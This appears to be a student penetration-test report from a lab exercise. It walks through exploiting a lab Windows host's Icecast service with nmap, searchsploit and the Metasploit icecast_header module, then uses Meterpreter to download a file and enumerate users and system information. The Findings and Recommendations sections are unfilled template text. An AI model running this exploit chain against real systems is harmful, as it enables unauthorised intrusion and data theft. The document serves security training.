GoodSecurity Penetration Test Report

[Oniegove@GoodSecurity.com](mailto:Oniegove@GoodSecurity.com)

DATE

05-sep-2020

**Instructions**

You've been provided full access to the network and are getting ping responses from the CEO’s workstation.

1. Perform a service and version scan using Nmap to determine which services are up and running:
   * Run the Nmap command that performs a service and version scan against the target.
2. Answer: **Nmap -sV 192.168.0.20**

We started by running an nmap scan to see what ports are running. We found that icecast is running on the target

1. From the previous step, we see that the Icecast service is running. Let's start by attacking that service. Search for any Icecast exploits:
   * Run the SearchSploit commands to show available Icecast exploits.
2. Answer: **Searchsploit icecast**

* We searched for any existing exploits that can be used for any systems with the word “icecast”. We found one exploit.

1. Now that we know which exploits are available to us, let's start Metasploit:
   * Run the command that starts Metasploit:

Answer: **Msfconsole**

We are opening Metasploit to use the exploit

1. Search for the Icecast module and load it for use.
   * Run the command to search for the Icecast module:

Answer: **Use exploit/windows/http/icecast\_header**

1. Set the RHOST to the target machine.
   * Run the command that sets the RHOST:

Answer: **Set RHOST 192.168.0.20**

1. Run the Icecast exploit.
   * Run the command that runs the Icecast exploit.

* Answer: Run the exploit
  + Run the command that performs a search for the secretfile.txt on the target.
* Answer: Search the directory tree for a file with the name secretfile.txt

1. You should now have a Meterpreter session open.
   * Run the command to performs a search for the recipe.txt on the target:

Answer: **Download c:\Users\IEUser\Documents\Drinks.recipe.txt**

1. You can also use Meterpreter's local exploit suggester to find possible exploits.
   * **Note:** The exploit suggester is just that: a suggestion. Keep in mind that the listed suggestions may not include all available exploits.

**Run /post/multi/recon/local\_exploit\_suggester**

We checked for any additional exploits that are available on this meterpreter session

**Bonus**

A. Run a Meterpreter post script that enumerates all logged on users.

Answer: **run/post/windows/gather/enum\_logged\_on\_users**

**-** We ran this to find the users on the target machine

B. Open a Meterpreter shell and gather system information for the target.

Answer: shell

C. Run the command that displays the target's computer system information:

Answer: **systeminfo**

**-** We ran this command into the reverse shell to find a detailed description of the system information

# High-Level Summary

GoodSecurity was tasked with performing an internal penetration test on GoodCorp’s CEO, Hans Gruber. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Hans’ computer and determine if it is at risk. GoodSecurity’s overall objective was to exploit any vulnerable software and find the secret recipe file on Hans’ computer, while reporting the findings back to GoodCorp.

When performing the internal penetration test, there were several alarming vulnerabilities that were

identified on Hans’ desktop. When performing the attacks, GoodSecurity was able to gain access to his machine and find the secret recipe file by exploit two programs that had major vulnerabilities. The details of the attack can be found in the ‘Findings’ category.

# Findings

Machine IP:

Machine’s IP address

Hostname:

Actual name of the machine

Vulnerability Exploited:

The name of the script or Metasploit module used

Vulnerability Explanation:

Explain the vulnerability as best you can by explaining the attack type (i.e. is it a heap overflow attack, buffer overflow, file inclusion, etc.?) and briefly summarize what that attack is (Might need Google’s help!)

Severity:

In your expert opinion, how severe is this vulnerability?

Proof of Concept:

This is where you show the steps you took. Show the client how you exploited the software services. Please include screenshots!

There should be a separate finding for each vulnerability found!

# Recommendations

What recommendations would you give to GoodCorp?